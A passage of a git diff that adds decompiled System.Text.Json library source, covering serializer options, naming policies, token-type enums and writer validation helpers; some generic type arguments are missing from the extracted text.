_options; + + public override bool IsReadOnly => _options.IsReadOnly; + + public ConverterList(JsonSerializerOptions options, IList source = null) + : base((IEnumerable)source) + { + _options = options; + } + + protected override void OnCollectionModifying() + { + _options.VerifyMutable(); + } + } + + private sealed class OptionsBoundJsonTypeInfoResolverChain : JsonTypeInfoResolverChain + { + private readonly JsonSerializerOptions _options; + + public override bool IsReadOnly => _options.IsReadOnly; + + public OptionsBoundJsonTypeInfoResolverChain(JsonSerializerOptions options) + { + _options = options; + AddFlattened(options._typeInfoResolver); + } + + protected override void ValidateAddedValue(IJsonTypeInfoResolver item) + { + if (item == this || item == _options._typeInfoResolver) + { + ThrowHelper.ThrowInvalidOperationException_InvalidChainedResolver(); + } + } + + protected override void OnCollectionModifying() + { + _options.VerifyMutable(); + _options._typeInfoResolver = this; + } + } + + private CachingContext _cachingContext; + + private volatile JsonTypeInfo _lastTypeInfo; + + private JsonTypeInfo _objectTypeInfo; + + internal const int BufferSizeDefault = 16384; + + internal const int DefaultMaxDepth = 64; + + private static JsonSerializerOptions s_defaultOptions; + + private IJsonTypeInfoResolver _typeInfoResolver; + + private JsonNamingPolicy _dictionaryKeyPolicy; + + private JsonNamingPolicy _jsonPropertyNamingPolicy; + + private JsonCommentHandling _readCommentHandling; + + private ReferenceHandler _referenceHandler; + + private JavaScriptEncoder _encoder; + + private ConverterList _converters; + + private JsonIgnoreCondition _defaultIgnoreCondition; + + private JsonNumberHandling _numberHandling; + + private JsonObjectCreationHandling _preferredObjectCreationHandling; + + private JsonUnknownTypeHandling _unknownTypeHandling; + + private JsonUnmappedMemberHandling _unmappedMemberHandling; + + private int _defaultBufferSize = 16384; + + private int _maxDepth; + + private bool _allowTrailingCommas; + + private bool _ignoreNullValues; + + private bool _ignoreReadOnlyProperties; + + private bool _ignoreReadonlyFields; + + private bool _includeFields; + + private bool _propertyNameCaseInsensitive; + + private bool _writeIndented; + + private OptionsBoundJsonTypeInfoResolverChain _typeInfoResolverChain; + + private bool? _canUseFastPathSerializationLogic; + + internal ReferenceHandlingStrategy ReferenceHandlingStrategy; + + private volatile bool _isReadOnly; + + private volatile bool _isConfiguredForJsonSerializer; + + private IJsonTypeInfoResolver _effectiveJsonTypeInfoResolver; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + internal CachingContext CacheContext => _cachingContext ?? (_cachingContext = TrackedCachingContexts.GetOrCreate(this)); + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + internal JsonTypeInfo ObjectTypeInfo => _objectTypeInfo ?? (_objectTypeInfo = GetTypeInfoInternal(JsonTypeInfo.ObjectType, ensureConfigured: true, true)); + + public IList Converters => _converters ?? (_converters = new ConverterList(this)); + + public static JsonSerializerOptions Default + { + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + get + { + JsonSerializerOptions orCreateDefaultOptionsInstance = s_defaultOptions; + if (orCreateDefaultOptionsInstance == null) + { + orCreateDefaultOptionsInstance = GetOrCreateDefaultOptionsInstance(); + } + return orCreateDefaultOptionsInstance; + } + } + + public IJsonTypeInfoResolver? TypeInfoResolver + { + get + { + return _typeInfoResolver; + } + set + { + VerifyMutable(); + OptionsBoundJsonTypeInfoResolverChain typeInfoResolverChain = _typeInfoResolverChain; + if (typeInfoResolverChain != null && typeInfoResolverChain != value) + { + typeInfoResolverChain.Clear(); + typeInfoResolverChain.AddFlattened(value); + } + _typeInfoResolver = value; + } + } + + public IList TypeInfoResolverChain => _typeInfoResolverChain ?? (_typeInfoResolverChain = new OptionsBoundJsonTypeInfoResolverChain(this)); + + public bool AllowTrailingCommas + { + get + { + return _allowTrailingCommas; + } + set + { + VerifyMutable(); + _allowTrailingCommas = value; + } + } + + public int DefaultBufferSize + { + get + { + return _defaultBufferSize; + } + set + { + VerifyMutable(); + if (value < 1) + { + throw new ArgumentException(System.SR.SerializationInvalidBufferSize); + } + _defaultBufferSize = value; + } + } + + public JavaScriptEncoder? Encoder + { + get + { + return _encoder; + } + set + { + VerifyMutable(); + _encoder = value; + } + } + + public JsonNamingPolicy? DictionaryKeyPolicy + { + get + { + return _dictionaryKeyPolicy; + } + set + { + VerifyMutable(); + _dictionaryKeyPolicy = value; + } + } + + [Obsolete("JsonSerializerOptions.IgnoreNullValues is obsolete. To ignore null values when serializing, set DefaultIgnoreCondition to JsonIgnoreCondition.WhenWritingNull.", DiagnosticId = "SYSLIB0020", UrlFormat = "https://aka.ms/dotnet-warnings/{0}")] + [EditorBrowsable(EditorBrowsableState.Never)] + public bool IgnoreNullValues + { + get + { + return _ignoreNullValues; + } + set + { + VerifyMutable(); + if (value && _defaultIgnoreCondition != JsonIgnoreCondition.Never) + { + throw new InvalidOperationException(System.SR.DefaultIgnoreConditionAlreadySpecified); + } + _ignoreNullValues = value; + } + } + + public JsonIgnoreCondition DefaultIgnoreCondition + { + get + { + return _defaultIgnoreCondition; + } + set + { + VerifyMutable(); + switch (value) + { + case JsonIgnoreCondition.Always: + throw new ArgumentException(System.SR.DefaultIgnoreConditionInvalid); + default: + if (_ignoreNullValues) + { + throw new InvalidOperationException(System.SR.DefaultIgnoreConditionAlreadySpecified); + } + break; + case JsonIgnoreCondition.Never: + break; + } + _defaultIgnoreCondition = value; + } + } + + public JsonNumberHandling NumberHandling + { + get + { + return _numberHandling; + } + set + { + VerifyMutable(); + if (!JsonSerializer.IsValidNumberHandlingValue(value)) + { + throw new ArgumentOutOfRangeException("value"); + } + _numberHandling = value; + } + } + + public JsonObjectCreationHandling PreferredObjectCreationHandling + { + get + { + return _preferredObjectCreationHandling; + } + set + { + VerifyMutable(); + if (!JsonSerializer.IsValidCreationHandlingValue(value)) + { + throw new ArgumentOutOfRangeException("value"); + } + _preferredObjectCreationHandling = value; + } + } + + public bool IgnoreReadOnlyProperties + { + get + { + return _ignoreReadOnlyProperties; + } + set + { + VerifyMutable(); + _ignoreReadOnlyProperties = value; + } + } + + public bool IgnoreReadOnlyFields + { + get + { + return _ignoreReadonlyFields; + } + set + { + VerifyMutable(); + _ignoreReadonlyFields = value; + } + } + + public bool IncludeFields + { + get + { + return _includeFields; + } + set + { + VerifyMutable(); + _includeFields = value; + } + } + + public int MaxDepth + { + get + { + return _maxDepth; + } + set + { + VerifyMutable(); + if (value < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException_MaxDepthMustBePositive("value"); + } + _maxDepth = value; + EffectiveMaxDepth = ((value == 0) ? 64 : value); + } + } + + internal int EffectiveMaxDepth { get; private set; } = 64; + + public JsonNamingPolicy? PropertyNamingPolicy + { + get + { + return _jsonPropertyNamingPolicy; + } + set + { + VerifyMutable(); + _jsonPropertyNamingPolicy = value; + } + } + + public bool PropertyNameCaseInsensitive + { + get + { + return _propertyNameCaseInsensitive; + } + set + { + VerifyMutable(); + _propertyNameCaseInsensitive = value; + } + } + + public JsonCommentHandling ReadCommentHandling + { + get + { + return _readCommentHandling; + } + set + { + VerifyMutable(); + if ((int)value > 1) + { + throw new ArgumentOutOfRangeException("value", System.SR.JsonSerializerDoesNotSupportComments); + } + _readCommentHandling = value; + } + } + + public JsonUnknownTypeHandling UnknownTypeHandling + { + get + { + return _unknownTypeHandling; + } + set + { + VerifyMutable(); + _unknownTypeHandling = value; + } + } + + public JsonUnmappedMemberHandling UnmappedMemberHandling + { + get + { + return _unmappedMemberHandling; + } + set + { + VerifyMutable(); + _unmappedMemberHandling = value; + } + } + + public bool WriteIndented + { + get + { + return _writeIndented; + } + set + { + VerifyMutable(); + _writeIndented = value; + } + } + + public ReferenceHandler? ReferenceHandler + { + get + { + return _referenceHandler; + } + set + { + VerifyMutable(); + _referenceHandler = value; + ReferenceHandlingStrategy = value?.HandlingStrategy ?? ReferenceHandlingStrategy.None; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + internal bool CanUseFastPathSerializationLogic + { + get + { + bool valueOrDefault = _canUseFastPathSerializationLogic == true; + if (!_canUseFastPathSerializationLogic.HasValue) + { + valueOrDefault = TypeInfoResolver.IsCompatibleWithOptions(this); + _canUseFastPathSerializationLogic = valueOrDefault; + return valueOrDefault; + } + return valueOrDefault; + } + } + + public bool IsReadOnly => _isReadOnly; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay => string.Format("TypeInfoResolver = {0}, IsReadOnly = {1}", TypeInfoResolver?.ToString() ?? "", IsReadOnly); + + public JsonTypeInfo GetTypeInfo(Type type) + { + if ((object)type == null) + { + ThrowHelper.ThrowArgumentNullException("type"); + } + if (JsonTypeInfo.IsInvalidForSerialization(type)) + { + ThrowHelper.ThrowArgumentException_CannotSerializeInvalidType("type", type, null, null); + } + return GetTypeInfoInternal(type, ensureConfigured: true, true, resolveIfMutable: true); + } + + public bool TryGetTypeInfo(Type type, [NotNullWhen(true)] out JsonTypeInfo? typeInfo) + { + if ((object)type == null) + { + ThrowHelper.ThrowArgumentNullException("type"); + } + if (JsonTypeInfo.IsInvalidForSerialization(type)) + { + ThrowHelper.ThrowArgumentException_CannotSerializeInvalidType("type", type, null, null); + } + typeInfo = GetTypeInfoInternal(type, ensureConfigured: true, null, resolveIfMutable: true); + return typeInfo != null; + } + + [return: NotNullIfNotNull("ensureNotNull")] + internal JsonTypeInfo GetTypeInfoInternal(Type type, bool ensureConfigured = true, bool? ensureNotNull = true, bool resolveIfMutable = false, bool fallBackToNearestAncestorType = false) + { + JsonTypeInfo jsonTypeInfo = null; + if (IsReadOnly) + { + jsonTypeInfo = CacheContext.GetOrAddTypeInfo(type, fallBackToNearestAncestorType); + if (ensureConfigured) + { + jsonTypeInfo?.EnsureConfigured(); + } + } + else if (resolveIfMutable) + { + jsonTypeInfo = GetTypeInfoNoCaching(type); + } + if (jsonTypeInfo == null && ensureNotNull == true) + { + ThrowHelper.ThrowNotSupportedException_NoMetadataForType(type, TypeInfoResolver); + } + return jsonTypeInfo; + } + + internal bool TryGetTypeInfoCached(Type type, [NotNullWhen(true)] out JsonTypeInfo typeInfo) + { + if (_cachingContext == null) + { + typeInfo = null; + return false; + } + return _cachingContext.TryGetTypeInfo(type, out typeInfo); + } + + internal JsonTypeInfo GetTypeInfoForRootType(Type type, bool fallBackToNearestAncestorType = false) + { + JsonTypeInfo jsonTypeInfo = _lastTypeInfo; + if (jsonTypeInfo?.Type != type) + { + bool fallBackToNearestAncestorType2 = fallBackToNearestAncestorType; + jsonTypeInfo = (_lastTypeInfo = GetTypeInfoInternal(type, ensureConfigured: true, true, resolveIfMutable: false, fallBackToNearestAncestorType2)); + } + return jsonTypeInfo; + } + + internal bool TryGetPolymorphicTypeInfoForRootType(object rootValue, [NotNullWhen(true)] out JsonTypeInfo polymorphicTypeInfo) + { + Type type = rootValue.GetType(); + if (type != JsonTypeInfo.ObjectType) + { + polymorphicTypeInfo = GetTypeInfoForRootType(type, fallBackToNearestAncestorType: true); + JsonTypeInfo ancestorPolymorphicType = polymorphicTypeInfo.AncestorPolymorphicType; + if (ancestorPolymorphicType != null) + { + polymorphicTypeInfo = ancestorPolymorphicType; + } + return true; + } + polymorphicTypeInfo = null; + return false; + } + + internal void ClearCaches() + { + _cachingContext?.Clear(); + _lastTypeInfo = null; + _objectTypeInfo = null; + } + + [RequiresUnreferencedCode("Getting a converter for a type may require reflection which depends on unreferenced code.")] + [RequiresDynamicCode("Getting a converter for a type may require reflection which depends on runtime code generation.")] + public JsonConverter GetConverter(Type typeToConvert) + { + if ((object)typeToConvert == null) + { + ThrowHelper.ThrowArgumentNullException("typeToConvert"); + } + if (JsonSerializer.IsReflectionEnabledByDefault && _typeInfoResolver == null) + { + return DefaultJsonTypeInfoResolver.GetConverterForType(typeToConvert, this); + } + return GetConverterInternal(typeToConvert); + } + + internal JsonConverter GetConverterInternal(Type typeToConvert) + { + JsonTypeInfo typeInfoInternal = GetTypeInfoInternal(typeToConvert, ensureConfigured: false, true, resolveIfMutable: true); + return typeInfoInternal.Converter; + } + + internal JsonConverter GetConverterFromList(Type typeToConvert) + { + ConverterList converters = _converters; + if (converters != null) + { + foreach (JsonConverter item in converters) + { + if (item.CanConvert(typeToConvert)) + { + return item; + } + } + } + return null; + } + + [return: NotNullIfNotNull("converter")] + internal JsonConverter ExpandConverterFactory(JsonConverter converter, Type typeToConvert) + { + if (converter is JsonConverterFactory jsonConverterFactory) + { + converter = jsonConverterFactory.GetConverterInternal(typeToConvert, this); + } + return converter; + } + + internal static void CheckConverterNullabilityIsSameAsPropertyType(JsonConverter converter, Type propertyType) + { + if (propertyType.IsValueType && converter.IsValueType && (propertyType.IsNullableOfT() ^ converter.Type.IsNullableOfT())) + { + ThrowHelper.ThrowInvalidOperationException_ConverterCanConvertMultipleTypes(propertyType, converter); + } + } + + public JsonSerializerOptions() + { + TrackOptionsInstance(this); + } + + public JsonSerializerOptions(JsonSerializerOptions options) + { + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + _dictionaryKeyPolicy = options._dictionaryKeyPolicy; + _jsonPropertyNamingPolicy = options._jsonPropertyNamingPolicy; + _readCommentHandling = options._readCommentHandling; + _referenceHandler = options._referenceHandler; + ConverterList converters = options._converters; + _converters = ((converters != null) ? new ConverterList(this, converters) : null); + _encoder = options._encoder; + _defaultIgnoreCondition = options._defaultIgnoreCondition; + _numberHandling = options._numberHandling; + _preferredObjectCreationHandling = options._preferredObjectCreationHandling; + _unknownTypeHandling = options._unknownTypeHandling; + _unmappedMemberHandling = options._unmappedMemberHandling; + _defaultBufferSize = options._defaultBufferSize; + _maxDepth = options._maxDepth; + _allowTrailingCommas = options._allowTrailingCommas; + _ignoreNullValues = options._ignoreNullValues; + _ignoreReadOnlyProperties = options._ignoreReadOnlyProperties; + _ignoreReadonlyFields = options._ignoreReadonlyFields; + _includeFields = options._includeFields; + _propertyNameCaseInsensitive = options._propertyNameCaseInsensitive; + _writeIndented = options._writeIndented; + _typeInfoResolver = options._typeInfoResolver; + EffectiveMaxDepth = options.EffectiveMaxDepth; + ReferenceHandlingStrategy = options.ReferenceHandlingStrategy; + TrackOptionsInstance(this); + } + + public JsonSerializerOptions(JsonSerializerDefaults defaults) + : this() + { + switch (defaults) + { + case JsonSerializerDefaults.Web: + _propertyNameCaseInsensitive = true; + _jsonPropertyNamingPolicy = JsonNamingPolicy.CamelCase; + _numberHandling = JsonNumberHandling.AllowReadingFromString; + break; + default: + throw new ArgumentOutOfRangeException("defaults"); + case JsonSerializerDefaults.General: + break; + } + } + + private static void TrackOptionsInstance(JsonSerializerOptions options) + { + TrackedOptionsInstances.All.Add(options, null); + } + + [Obsolete("JsonSerializerOptions.AddContext is obsolete. To register a JsonSerializerContext, use either the TypeInfoResolver or TypeInfoResolverChain properties.", DiagnosticId = "SYSLIB0049", UrlFormat = "https://aka.ms/dotnet-warnings/{0}")] + [EditorBrowsable(EditorBrowsableState.Never)] + public void AddContext() where TContext : JsonSerializerContext, new() + { + VerifyMutable(); + TContext val = new TContext(); + val.AssociateWithOptions(this); + } + + public void MakeReadOnly() + { + if (_typeInfoResolver == null) + { + ThrowHelper.ThrowInvalidOperationException_JsonSerializerOptionsNoTypeInfoResolverSpecified(); + } + _isReadOnly = true; + } + + [RequiresUnreferencedCode("Populating unconfigured TypeInfoResolver properties with the reflection resolver requires unreferenced code.")] + [RequiresDynamicCode("Populating unconfigured TypeInfoResolver properties with the reflection resolver requires runtime code generation.")] + public void MakeReadOnly(bool populateMissingResolver) + { + if (populateMissingResolver) + { + if (!_isConfiguredForJsonSerializer) + { + ConfigureForJsonSerializer(); + } + } + else + { + MakeReadOnly(); + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private void ConfigureForJsonSerializer() + { + if (JsonSerializer.IsReflectionEnabledByDefault) + { + DefaultJsonTypeInfoResolver defaultJsonTypeInfoResolver = DefaultJsonTypeInfoResolver.RootDefaultInstance(); + IJsonTypeInfoResolver typeInfoResolver = _typeInfoResolver; + if (typeInfoResolver != null) + { + if (typeInfoResolver is JsonSerializerContext jsonSerializerContext && AppContextSwitchHelper.IsSourceGenReflectionFallbackEnabled) + { + _effectiveJsonTypeInfoResolver = JsonTypeInfoResolver.Combine(jsonSerializerContext, defaultJsonTypeInfoResolver); + CachingContext cachingContext = _cachingContext; + if (cachingContext != null) + { + if (cachingContext.Options != this && !cachingContext.Options._isConfiguredForJsonSerializer) + { + cachingContext.Options.ConfigureForJsonSerializer(); + } + else + { + cachingContext.Clear(); + } + } + } + } + else + { + _typeInfoResolver = defaultJsonTypeInfoResolver; + } + } + else + { + IJsonTypeInfoResolver typeInfoResolver2 = _typeInfoResolver; + if ((typeInfoResolver2 == null || typeInfoResolver2 is EmptyJsonTypeInfoResolver) ? true : false) + { + ThrowHelper.ThrowInvalidOperationException_JsonSerializerIsReflectionDisabled(); + } + } + _isReadOnly = true; + _isConfiguredForJsonSerializer = true; + } + + private JsonTypeInfo GetTypeInfoNoCaching(Type type) + { + IJsonTypeInfoResolver jsonTypeInfoResolver = _effectiveJsonTypeInfoResolver ?? _typeInfoResolver; + if (jsonTypeInfoResolver == null) + { + return null; + } + JsonTypeInfo jsonTypeInfo = jsonTypeInfoResolver.GetTypeInfo(type, this); + if (jsonTypeInfo != null) + { + if (jsonTypeInfo.Type != type) + { + ThrowHelper.ThrowInvalidOperationException_ResolverTypeNotCompatible(type, jsonTypeInfo.Type); + } + if (jsonTypeInfo.Options != this) + { + ThrowHelper.ThrowInvalidOperationException_ResolverTypeInfoOptionsNotCompatible(); + } + } + else if (type == JsonTypeInfo.ObjectType) + { + SlimObjectConverter converter = new SlimObjectConverter(jsonTypeInfoResolver); + jsonTypeInfo = new JsonTypeInfo(converter, this); + } + return jsonTypeInfo; + } + + internal JsonDocumentOptions GetDocumentOptions() + { + return new JsonDocumentOptions + { + AllowTrailingCommas = AllowTrailingCommas, + CommentHandling = ReadCommentHandling, + MaxDepth = MaxDepth + }; + } + + internal JsonNodeOptions GetNodeOptions() + { + return new JsonNodeOptions + { + PropertyNameCaseInsensitive = PropertyNameCaseInsensitive + }; + } + + internal JsonReaderOptions GetReaderOptions() + { + return new JsonReaderOptions + { + AllowTrailingCommas = AllowTrailingCommas, + CommentHandling = ReadCommentHandling, + MaxDepth = EffectiveMaxDepth + }; + } + + internal JsonWriterOptions GetWriterOptions() + { + return new JsonWriterOptions + { + Encoder = Encoder, + Indented = WriteIndented, + MaxDepth = EffectiveMaxDepth, + SkipValidation = true + }; + } + + internal void VerifyMutable() + { + if (_isReadOnly) + { + ThrowHelper.ThrowInvalidOperationException_SerializerOptionsReadOnly(_typeInfoResolver as JsonSerializerContext); + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static JsonSerializerOptions GetOrCreateDefaultOptionsInstance() + { + JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); + IJsonTypeInfoResolver typeInfoResolver; + if (!JsonSerializer.IsReflectionEnabledByDefault) + { + typeInfoResolver = JsonTypeInfoResolver.Empty; + } + else + { + IJsonTypeInfoResolver jsonTypeInfoResolver = DefaultJsonTypeInfoResolver.RootDefaultInstance(); + typeInfoResolver = jsonTypeInfoResolver; + } + jsonSerializerOptions.TypeInfoResolver = typeInfoResolver; + jsonSerializerOptions._isReadOnly = true; + JsonSerializerOptions jsonSerializerOptions2 = jsonSerializerOptions; + return Interlocked.CompareExchange(ref s_defaultOptions, jsonSerializerOptions2, null) ?? jsonSerializerOptions2; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonSnakeCaseLowerNamingPolicy.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSnakeCaseLowerNamingPolicy.cs new file mode 100644 index 0000000..0ffcba7 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSnakeCaseLowerNamingPolicy.cs @@ -0,0 +1,9 @@ +namespace System.Text.Json; + +internal sealed class JsonSnakeCaseLowerNamingPolicy : JsonSeparatorNamingPolicy +{ + public JsonSnakeCaseLowerNamingPolicy() + : base(lowercase: true, '_') + { + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonSnakeCaseUpperNamingPolicy.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSnakeCaseUpperNamingPolicy.cs new file mode 100644 index 0000000..ff1075a --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSnakeCaseUpperNamingPolicy.cs @@ -0,0 +1,9 @@ +namespace System.Text.Json; + +internal sealed class JsonSnakeCaseUpperNamingPolicy : JsonSeparatorNamingPolicy +{ + public JsonSnakeCaseUpperNamingPolicy() + : base(lowercase: false, '_') + { + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonTokenType.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonTokenType.cs new file mode 100644 index 0000000..41f090b --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonTokenType.cs @@ -0,0 +1,17 @@ +namespace System.Text.Json; + +public enum JsonTokenType : byte +{ + None, + StartObject, + EndObject, + StartArray, + EndArray, + PropertyName, + Comment, + String, + Number, + True, + False, + Null +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonValueKind.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonValueKind.cs new file mode 100644 index 0000000..be13ba9 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonValueKind.cs @@ -0,0 +1,13 @@ +namespace System.Text.Json; + +public enum JsonValueKind : byte +{ + Undefined, + Object, + Array, + String, + Number, + True, + False, + Null +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonWriterHelper.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonWriterHelper.cs new file mode 100644 index 0000000..b9e4794 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonWriterHelper.cs @@ -0,0 +1,556 @@ +using System.Buffers; +using System.Buffers.Text; +using System.Runtime.CompilerServices; +using System.Text.Encodings.Web; + +namespace System.Text.Json; + +internal static class JsonWriterHelper +{ + private static readonly UTF8Encoding s_utf8Encoding = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false, throwOnInvalidBytes: true); + + private static readonly StandardFormat s_dateTimeStandardFormat = new StandardFormat('O'); + + public const int LastAsciiCharacter = 127; + + private static readonly StandardFormat s_hexStandardFormat = new StandardFormat('X', 4); + + private static ReadOnlySpan AllowList => new byte[256] + { + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, + 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0 + }; + + public static void WriteIndentation(Span buffer, int indent) + { + if (indent < 8) + { + int num = 0; + while (num < indent) + { + buffer[num++] = 32; + buffer[num++] = 32; + } + } + else + { + buffer.Slice(0, indent).Fill(32); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidateProperty(ReadOnlySpan propertyName) + { + if (propertyName.Length > 166666666) + { + ThrowHelper.ThrowArgumentException_PropertyNameTooLarge(propertyName.Length); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidateValue(ReadOnlySpan value) + { + if (value.Length > 166666666) + { + ThrowHelper.ThrowArgumentException_ValueTooLarge(value.Length); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidateDouble(double value) + { + if (!JsonHelpers.IsFinite(value)) + { + ThrowHelper.ThrowArgumentException_ValueNotSupported(); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidateSingle(float value) + { + if (!JsonHelpers.IsFinite(value)) + { + ThrowHelper.ThrowArgumentException_ValueNotSupported(); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidateProperty(ReadOnlySpan propertyName) + { + if (propertyName.Length > 166666666) + { + ThrowHelper.ThrowArgumentException_PropertyNameTooLarge(propertyName.Length); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidateValue(ReadOnlySpan value) + { + if (value.Length > 166666666) + { + ThrowHelper.ThrowArgumentException_ValueTooLarge(value.Length); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidatePropertyAndValue(ReadOnlySpan propertyName, ReadOnlySpan value) + { + if (propertyName.Length > 166666666 || value.Length > 166666666) + { + ThrowHelper.ThrowArgumentException(propertyName, value); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidatePropertyAndValue(ReadOnlySpan propertyName, ReadOnlySpan value) + { + if (propertyName.Length > 166666666 || value.Length > 166666666) + { + ThrowHelper.ThrowArgumentException(propertyName, value); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidatePropertyAndValue(ReadOnlySpan propertyName, ReadOnlySpan value) + { + if (propertyName.Length > 166666666 || value.Length > 166666666) + { + ThrowHelper.ThrowArgumentException(propertyName, value); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidatePropertyAndValue(ReadOnlySpan propertyName, ReadOnlySpan value) + { + if (propertyName.Length > 166666666 || value.Length > 166666666) + { + ThrowHelper.ThrowArgumentException(propertyName, value); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidatePropertyNameLength(ReadOnlySpan propertyName) + { + if (propertyName.Length > 166666666) + { + ThrowHelper.ThrowPropertyNameTooLargeArgumentException(propertyName.Length); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static void ValidatePropertyNameLength(ReadOnlySpan propertyName) + { + if (propertyName.Length > 166666666) + { + ThrowHelper.ThrowPropertyNameTooLargeArgumentException(propertyName.Length); + } + } + + internal static void ValidateNumber(ReadOnlySpan utf8FormattedNumber) + { + int i = 0; + if (utf8FormattedNumber[i] == 45) + { + i++; + if (utf8FormattedNumber.Length <= i) + { + throw new ArgumentException(System.SR.RequiredDigitNotFoundEndOfData, "utf8FormattedNumber"); + } + } + if (utf8FormattedNumber[i] == 48) + { + i++; + } + else + { + for (; i < utf8FormattedNumber.Length && JsonHelpers.IsDigit(utf8FormattedNumber[i]); i++) + { + } + } + if (i == utf8FormattedNumber.Length) + { + return; + } + byte b = utf8FormattedNumber[i]; + if (b == 46) + { + i++; + if (utf8FormattedNumber.Length <= i) + { + throw new ArgumentException(System.SR.RequiredDigitNotFoundEndOfData, "utf8FormattedNumber"); + } + for (; i < utf8FormattedNumber.Length && JsonHelpers.IsDigit(utf8FormattedNumber[i]); i++) + { + } + if (i == utf8FormattedNumber.Length) + { + return; + } + b = utf8FormattedNumber[i]; + } + if (b == 101 || b == 69) + { + i++; + if (utf8FormattedNumber.Length <= i) + { + throw new ArgumentException(System.SR.RequiredDigitNotFoundEndOfData, "utf8FormattedNumber"); + } + b = utf8FormattedNumber[i]; + if (b == 43 || b == 45) + { + i++; + } + if (utf8FormattedNumber.Length <= i) + { + throw new ArgumentException(System.SR.RequiredDigitNotFoundEndOfData, "utf8FormattedNumber"); + } + for (; i < utf8FormattedNumber.Length && JsonHelpers.IsDigit(utf8FormattedNumber[i]); i++) + { + } + if (i == utf8FormattedNumber.Length) + { + return; + } + throw new ArgumentException(System.SR.Format(System.SR.ExpectedEndOfDigitNotFound, ThrowHelper.GetPrintableString(utf8FormattedNumber[i])), "utf8FormattedNumber"); + } + throw new ArgumentException(System.SR.Format(System.SR.ExpectedEndOfDigitNotFound, ThrowHelper.GetPrintableString(b)), "utf8FormattedNumber"); + } + + public unsafe static bool IsValidUtf8String(ReadOnlySpan bytes) + { + try + { + if (!bytes.IsEmpty) + { + fixed (byte* bytes2 = bytes) + { + s_utf8Encoding.GetCharCount(bytes2, bytes.Length); + } + } + return true; + } + catch (DecoderFallbackException) + { + return false; + } + } + 